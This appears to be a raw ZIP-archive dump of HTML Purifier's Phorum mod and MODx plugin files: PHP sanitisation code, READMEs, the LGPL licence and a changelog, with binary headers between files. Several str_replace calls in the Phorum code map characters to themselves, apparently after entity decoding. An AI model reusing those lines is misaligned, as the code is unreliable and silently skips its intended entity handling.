// purge the cache, must be below the following if
unset($message['meta']['body_cache']);
}
if (
isset($message['meta']['body_cache']) &&
isset($message['meta']['body_cache_serial']) &&
$message['meta']['body_cache_serial'] == $cache_serial
) {
// cached version is present, bail out early
$data[$message_id]['body'] = base64_decode($message['meta']['body_cache']);
continue;
}
}
// migration might edit this array, that's why it's defined
// so early
$updated_message = array();
// create the $body variable
if (
$message_id && // message must be real to migrate
!isset($message['meta']['body_cache_serial'])
) {
// perform migration
$fake_data = array();
list($signature, $edit_message) = phorum_htmlpurifier_remove_sig_and_editmessage($message);
$fake_data[$message_id] = $message;
$fake_data = phorum_htmlpurifier_migrate($fake_data);
$body = $fake_data[$message_id]['body'];
$body = str_replace("<phorum break>\n", "\n", $body);
$updated_message['body'] = $body; // save it in
$body .= $signature . $edit_message; // add it back in
} else {
// reverse Phorum's pre-processing
$body = $message['body'];
// order is important
$body = str_replace("<phorum break>\n", "\n", $body);
$body = str_replace(array('<','>','&', '"'), array('<','>','&','"'), $body);
if (!$message_id && defined('PHORUM_CONTROL_CENTER')) {
// we're in control.php, so it was double-escaped
$body = str_replace(array('<','>','&', '"'), array('<','>','&','"'), $body);
}
}
$body = $purifier->purify($body);
// dynamically update the cache (MUST BE DONE HERE!)
// this is inefficient because it's one db call per
// cache miss, but once the cache is in place things are
// a lot zippier.
if ($message_id) { // make sure it's not a fake id
$updated_message['meta'] = $message['meta'];
$updated_message['meta']['body_cache'] = base64_encode($body);
$updated_message['meta']['body_cache_serial'] = $cache_serial;
phorum_db_update_message($message_id, $updated_message);
}
// must not get overloaded until after we cache it, otherwise
// we'll inadvertently change the original text
$data[$message_id]['body'] = $body;
}
}
return $data;
}
// -----------------------------------------------------------------------
// This is fragile code, copied from read.php:596 (Phorum 5.2.6). Please
// keep this code in-sync with Phorum
/**
* Generates a signature based on a message array
*/
function phorum_htmlpurifier_generate_sig($row)
{
$phorum_sig = '';
if(isset($row["user"]["signature"])
&& isset($row['meta']['show_signature']) && $row['meta']['show_signature']==1){
$phorum_sig=trim($row["user"]["signature"]);
if(!empty($phorum_sig)){
$phorum_sig="\n\n$phorum_sig";
}
}
return $phorum_sig;
}
/**
* Generates an edit message based on a message array
*/
function phorum_htmlpurifier_generate_editmessage($row)
{
$PHORUM = $GLOBALS['PHORUM'];
$editmessage = '';
if(isset($row['meta']['edit_count']) && $row['meta']['edit_count'] > 0) {
$editmessage = str_replace ("%count%", $row['meta']['edit_count'], $PHORUM["DATA"]["LANG"]["EditedMessage"]);
$editmessage = str_replace ("%lastedit%", phorum_date($PHORUM["short_date_time"],$row['meta']['edit_date']), $editmessage);
$editmessage = str_replace ("%lastuser%", $row['meta']['edit_username'], $editmessage);
$editmessage = "\n\n\n\n$editmessage";
}
return $editmessage;
}
// End fragile code
// -----------------------------------------------------------------------
/**
* Removes the signature and edit message from a message
* @param $row Message passed by reference
*/
function phorum_htmlpurifier_remove_sig_and_editmessage(&$row)
{
$signature = phorum_htmlpurifier_generate_sig($row);
$editmessage = phorum_htmlpurifier_generate_editmessage($row);
$replacements = array();
// we need to remove add <phorum break> as that is the form these
// extra bits are in.
if ($signature) $replacements[str_replace("\n", "<phorum break>\n", $signature)] = '';
if ($editmessage) $replacements[str_replace("\n", "<phorum break>\n", $editmessage)] = '';
$row['body'] = strtr($row['body'], $replacements);
return array($signature, $editmessage);
}
/**
* Indicate that data is fully HTML and not from migration, invalidate
* previous caches
* @note This function could generate the actual cache entries, but
* since there's data missing that must be deferred to the first read
*/
function phorum_htmlpurifier_posting($message)
{
$PHORUM = $GLOBALS["PHORUM"];
unset($message['meta']['body_cache']); // invalidate the cache
$message['meta']['body_cache_serial'] = $PHORUM['mod_htmlpurifier']['body_cache_serial'];
return $message;
}
/**
* Overload quoting mechanism to prevent default, mail-style quote from happening
*/
function phorum_htmlpurifier_quote($array)
{
$PHORUM = $GLOBALS["PHORUM"];
$purifier =& HTMLPurifier::getInstance();
$text = $purifier->purify($array[1]);
$source = htmlspecialchars($array[0]);
return "<blockquote cite=\"$source\">\n$text\n</blockquote>";
}
/**
* Ensure that our format hook is processed last. Also, loads the library.
* @credits <http://secretsauce.phorum.org/snippets/make_bbcode_last_formatter.php.txt>
*/
function phorum_htmlpurifier_common()
{
require_once(dirname(__FILE__).'/htmlpurifier/HTMLPurifier.auto.php');
require(dirname(__FILE__).'/init-config.php');
$config = phorum_htmlpurifier_get_config();
HTMLPurifier::getInstance($config);
// increment revision.txt if you want to invalidate the cache
$GLOBALS['PHORUM']['mod_htmlpurifier']['body_cache_serial'] = $config->getSerial();
// load migration
if (file_exists(dirname(__FILE__) . '/migrate.php')) {
include(dirname(__FILE__) . '/migrate.php');
} else {
echo '<strong>Error:</strong> No migration path specified for HTML Purifier, please check
<tt>modes/htmlpurifier/migrate.bbcode.php</tt> for instructions on
how to migrate from your previous markup language.';
exit;
}
if (!function_exists('phorum_htmlpurifier_migrate')) {
// Dummy function
function phorum_htmlpurifier_migrate($data) {return $data;}
}
}
/**
* Pre-emptively performs purification if it looks like a WYSIWYG editor
* is being used
*/
function phorum_htmlpurifier_before_editor($message)
{
if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) {
if (!empty($message['body'])) {
$body = $message['body'];
// de-entity-ize contents
$body = str_replace(array('<','>','&'), array('<','>','&'), $body);
$purifier =& HTMLPurifier::getInstance();
$body = $purifier->purify($body);
// re-entity-ize contents
$body = htmlspecialchars($body, ENT_QUOTES, $GLOBALS['PHORUM']['DATA']['CHARSET']);
$message['body'] = $body;
}
}
return $message;
}
function phorum_htmlpurifier_editor_after_subject()
{
// don't show this message if it's a WYSIWYG editor, since it will
// then be handled automatically
if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) {
$i = $GLOBALS['PHORUM']['DATA']['MODE'];
if ($i == 'quote' || $i == 'edit' || $i == 'moderation') {
?>
<div>
<p>
<strong>Notice:</strong> HTML has been scrubbed for your safety.
If you would like to see the original, turn off WYSIWYG mode
(consult your administrator for details.)
</p>
</div>
<?php
}
return;
}
if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['suppress_message'])) return;
?><div class="htmlpurifier-help">
<p>
<strong>HTML input</strong> is enabled. Make sure you escape all HTML and
angled brackets with <code>&lt;</code> and <code>&gt;</code>.
</p><?php
$purifier =& HTMLPurifier::getInstance();
$config = $purifier->config;
if ($config->get('AutoFormat.AutoParagraph')) {
?><p>
<strong>Auto-paragraphing</strong> is enabled. Double
newlines will be converted to paragraphs; for single
newlines, use the <code>pre</code> tag.
</p><?php
}
$html_definition = $config->getDefinition('HTML');
$allowed = array();
foreach ($html_definition->info as $name => $x) $allowed[] = "<code>$name</code>";
sort($allowed);
$allowed_text = implode(', ', $allowed);
?><p><strong>Allowed tags:</strong> <?php
echo $allowed_text;
?>.</p><?php
?>
</p>
<p>
For inputting literal code such as HTML and PHP for display, use
CDATA tags to auto-escape your angled brackets, and <code>pre</code>
to preserve newlines:
</p>
<pre><pre><![CDATA[
<em>Place code here</em>
]]></pre></pre>
<p>
Power users, you can hide this notice with:
<pre>.htmlpurifier-help {display:none;}</pre>
</p>
</div><?php
}
// vim: et sw=4 sts=4
PK j�$Z�R�A� � " htmlpurifier/plugins/phorum/READMEnu �[���
HTML Purifier Phorum Mod - Filter your HTML the Standards-Compliant Way!
This Phorum mod enables HTML posting on Phorum. Under normal circumstances,
this would cause a huge security risk, but because we are running
HTML through HTML Purifier, output is guaranteed to be XSS free and
standards-compliant.
This mod requires HTML input, and previous markup languages need to be
converted accordingly. Thus, it is vital that you create a 'migrate.php'
file that works with your installation. If you're using the built-in
BBCode formatting, simply move migrate.bbcode.php to that place; for
other markup languages, consult said file for instructions on how
to adapt it to your needs.
-- NOTE -------------------------------------------------
You can also run this module in parallel with another
formatting module; this module attempts to place itself
at the end of the filtering chain. However, if any
previous modules produce insecure HTML (for instance,
a JavaScript email obfuscator) they will get cleaned.
This module will not work if 'migrate.php' is not created, and an improperly
made migration file may *CORRUPT* Phorum, so please take your time to
do this correctly. It should go without saying to *BACKUP YOUR DATABASE*
before attempting anything here. If no migration is necessary, you can
simply create a blank migrate.php file. HTML Purifier is smart and will
not re-migrate already processed messages. However, the original code
is irretrievably lost (we may change this in the future.)
This module will not automatically migrate user signatures, because this
process may take a long time. After installing the HTML Purifier module and
then configuring 'migrate.php', navigate to Settings and click 'Migrate
Signatures' to migrate all user signatures to HTML.
All of HTML Purifier's usual functions are configurable via the mod settings
page. If you require custom configuration, create config.php file in
the mod directory that edits a $config variable. Be sure, also, to
set $PHORUM['mod_htmlpurifier']['wysiwyg'] to TRUE if you are using a
WYSIWYG editor (you can do this through a common hook or the web
configuration form).
Visit HTML Purifier at <http://htmlpurifier.org/>.
vim: et sw=4 sts=4
PK j�$Z���_L L / htmlpurifier/plugins/phorum/htmlpurifier/READMEnu �[��� The contents of the library/ folder should be here.
vim: et sw=4 sts=4
PK j�$Z�X@Xg Xg 0 htmlpurifier/plugins/phorum/htmlpurifier/LICENSEnu �[��� GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
[This is the first released version of the Lesser GPL. It also counts
as the successor of the GNU Library Public License, version 2, hence
the version number 2.1.]
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.
This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it. You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.
When we speak of free software, we are referring to freedom of use,
not price. Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.
To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights. These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.
For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you. You must make sure that they, too, receive or can get the source
code. If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it. And you must show them these terms so they know their rights.
We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.
To protect each distributor, we want to make it very clear that
there is no warranty for the free library. Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder. Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.
Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License. This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License. We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.
When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library. The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom. The Lesser General
Public License permits more lax criteria for linking other code with
the library.
We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License. It also provides other free software developers Less
of an advantage over competing non-free programs. These disadvantages
are the reason we use the ordinary General Public License for many
libraries. However, the Lesser license provides advantages in certain
special circumstances.
For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard. To achieve this, non-free programs must be
allowed to use the library. A more frequent case is that a free
library does the same job as widely used non-free libraries. In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.
In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software. For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.
Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.
The precise terms and conditions for copying, distribution and
modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".
A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.
The "Library", below, refers to any such software library or work
which has been distributed under these terms. A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language. (Hereinafter, translation is
included without limitation in the term "modification".)
"Source code" for a work means the preferred form of the work for
making modifications to it. For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it). Whether that is true depends on what the Library does
and what the program that uses the Library does.
1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) The modified work must itself be a software library.
b) You must cause the files modified to carry prominent notices
stating that you changed the files and the date of any change.
c) You must cause the whole of the work to be licensed at no
charge to all third parties under the terms of this License.
d) If a facility in the modified Library refers to a function or a
table of data to be supplied by an application program that uses
the facility, other than as an argument passed when the facility
is invoked, then you must make a good faith effort to ensure that,
in the event an application does not supply such function or
table, the facility still operates, and performs whatever part of
its purpose remains meaningful.
(For example, a function in a library to compute square roots has
a purpose that is entirely well-defined independent of the
application. Therefore, Subsection 2d requires that any
application-supplied function or table used by this function must
be optional: if the application does not supply it, the square
root function must still compute square roots.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.
In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library. To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.
4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.
If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.
5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library". Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.
However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library". The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.
When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library. The
threshold for this to be true is not precisely defined by law.
If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work. (Executables containing this object code plus portions of the
Library will still fall under Section 6.)
Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.
You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License. You must supply a copy of this License. If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License. Also, you must do one
of these things:
a) Accompany the work with the complete corresponding
machine-readable source code for the Library including whatever
changes were used in the work (which must be distributed under
Sections 1 and 2 above); and, if the work is an executable linked
with the Library, with the complete machine-readable "work that
uses the Library", as object code and/or source code, so that the
user can modify the Library and then relink to produce a modified
executable containing the modified Library. (It is understood
that the user who changes the contents of definitions files in the
Library will not necessarily be able to recompile the application
to use the modified definitions.)
b) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (1) uses at run time a
copy of the library already present on the user's computer system,
rather than copying library functions into the executable, and (2)
will operate properly with a modified version of the library, if
the user installs one, as long as the modified version is
interface-compatible with the version that the work was made with.
c) Accompany the work with a written offer, valid for at
least three years, to give the same user the materials
specified in Subsection 6a, above, for a charge no more
than the cost of performing this distribution.
d) If distribution of the work is made by offering access to copy
from a designated place, offer equivalent access to copy the above
specified materials from the same place.
e) Verify that the user has already received a copy of these
materials or that you have already sent this user a copy.
For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it. However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.
It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:
a) Accompany the combined library with a copy of the same work
based on the Library, uncombined with any other library
facilities. This must be distributed under the terms of the
Sections above.
b) Give prominent notice with the combined library of the fact
that part of it is a work based on the Library, and explaining
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
9. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Library or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.
10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all. For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded. In such case, this License incorporates the limitation as if
written in the body of this License.
13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this. Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.
NO WARRANTY
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Libraries
If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change. You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).
To apply these terms, attach the following notices to the library. It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.
<one line to give the library's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Also add information on how to contact you by electronic and paper mail.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the
library `Frob' (a library for tweaking knobs) written by James Random Hacker.
<signature of Ty Coon>, 1 April 1990
Ty Coon, President of Vice
That's all there is to it!
vim: et sw=4 sts=4
PK j�$ZT�jī � % htmlpurifier/plugins/phorum/Changelognu �[��� Changelog HTMLPurifier : Phorum Mod
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
= KEY ====================
# Breaks back-compat
! Feature
- Bugfix
+ Sub-comment
. Internal change
==========================
Version 4.0.0 for Phorum 5.2, released July 9, 2009
# Works only with HTML Purifier 4.0.0
! Better installation documentation
- Fixed double encoded quotes
- Fixed fatal error when migrate.php is blank
Version 3.0.0 for Phorum 5.2, released January 12, 2008
# WYSIWYG and suppress_message options are now configurable via web
interface.
- Module now compatible with Phorum 5.2, primary bugs were in migration
code as well as signature and edit message handling. This module is NOT
compatible with Phorum 5.1.
- Buggy WYSIWYG mode refined
. AutoFormatParam added to list of default configuration namespaces
vim: et sw=4 sts=4
PK j�$Z�wm@0
0
htmlpurifier/plugins/modx.txtnu �[���
MODx Plugin
MODx <http://www.modxcms.com/> is an open source PHP application framework.
I first came across them in my referrer logs when tillda asked if anyone
could implement an HTML Purifier plugin. This forum thread
<http://modxcms.com/forums/index.php/topic,6604.0.html> eventually resulted
in the fruition of this plugin that davidm says, "is on top of my favorite
list." HTML Purifier goes great with WYSIWYG editors!
1. Credits
PaulGregory wrote the overall structure of the code. I added the
slashes hack.
2. Install
First, you need to place HTML Purifier library somewhere. The code here
assumes that you've placed in MODx's assets/plugins/htmlpurifier (no version
number).
Log into the manager, and navigate:
Resources > Manage Resources > Plugins tab > New Plugin
Type in a name (probably HTML Purifier), and copy paste this code into the
textarea:
--------------------------------------------------------------------------------
$e = &$modx->Event;
if ($e->name == 'OnBeforeDocFormSave') {
global $content;
include_once '../assets/plugins/htmlpurifier/library/HTMLPurifier.auto.php';
$purifier = new HTMLPurifier();
static $magic_quotes = null;
if ($magic_quotes === null) {
// this is an ugly hack because this hook hasn't
// had the backslashes removed yet when magic_quotes_gpc is on,
// but HTMLPurifier must not have the quotes slashed.
$magic_quotes = get_magic_quotes_gpc();
}
if ($magic_quotes) $content = stripslashes($content);
$content = $purifier->purify($content);
if ($magic_quotes) $content = addslashes($content);
}
--------------------------------------------------------------------------------
Then navigate to the System Events tab and check "OnBeforeDocFormSave".
Save the plugin. HTML Purifier now is integrated!
3. Making sure it works
You can test HTML Purifier by deliberately putting in crappy HTML and seeing
whether or not it gets fixed. A better way is to put in something like this:
<p lang="fr">Il est bon</p>
...and seeing whether or not the content comes out as:
<p lang="fr" xml:lang="fr">Il est bon</p>
(lang to xml:lang synchronization is one of the many features HTML Purifier
has).
4. Caveat Emptor
This code does not intercept save requests from the QuickEdit plugin, this may
be added in a later version. It also modifies things on save, so there's a
slight chance that HTML Purifier may make a boo-boo and accidently mess things
up (the original version is not saved).
Finally, make sure that MODx is using UTF-8. If you are using, say, a French
localisation, you may be using Latin-1, if that's the case, configure
HTML Purifier properly like this:
$config = HTMLPurifier_Config::createDefault();
$config->set('Core', 'Encoding', 'ISO-8859-1'); // or whatever encoding
$purifier = new HTMLPurifier($config);
5. Known Bugs
'rn' characters sometimes mysteriously appear after purification. We are
currently investigating this issue. See: <http://htmlpurifier.org/phorum/read.php?3,1866>
6. See Also
A modified version of Jot 1.1.3 is available, which integrates with HTML
Purifier. You can check it out here: <http://modxcms.com/forums/index.php/topic,25621.msg161970.html>
X. Changelog
2008-06-16
- Updated code to work with 3.1.0 and later
- Add Known Bugs and See Also section
vim: et sw=4 sts=4
PK j�$Z���S� � * htmlpurifier/extras/HTMLPurifierExtras.phpnu �[��� <?php
/**
* Meta-class for HTML Purifier's extra class hierarchies, similar to
* HTMLPurifier_Bootstrap.
*/
class HTMLPurifierExtras
{
public static function autoload($class)
{
$path = HTMLPurifierExtras::getPath($class);
if (!$path) return false;
require $path;
return true;
}
public static function getPath($class)
{
if (
strncmp('FSTools', $class, 7) !== 0 &&
strncmp('ConfigDoc', $class, 9) !== 0
) return false;
// Custom implementations can go here
// Standard implementation:
return str_replace('_', '/', $class) . '.php';
}
}
// vim: et sw=4 sts=4
PK j�$ZG��M / htmlpurifier/extras/HTMLPurifierExtras.auto.phpnu �[��� <?php
/**
* This is a stub include that automatically configures the include path.
*/
set_include_path(dirname(__FILE__) . PATH_SEPARATOR . get_include_path() );
require_once 'HTMLPurifierExtras.php';
require_once 'HTMLPurifierExtras.autoload.php';
// vim: et sw=4 sts=4
PK j�$Z/^��� � 3 htmlpurifier/extras/HTMLPurifierExtras.autoload.phpnu �[��� <?php
/**
* @file
* Convenience file that registers autoload handler for HTML Purifier.
*
* @warning
* This autoloader does not contain the compatibility code seen in
* HTMLPurifier_Bootstrap; the user is expected to make any necessary
* changes to use this library.
*/
if (function_exists('spl_autoload_register')) {
spl_autoload_register(array('HTMLPurifierExtras', 'autoload'));
if (function_exists('__autoload')) {
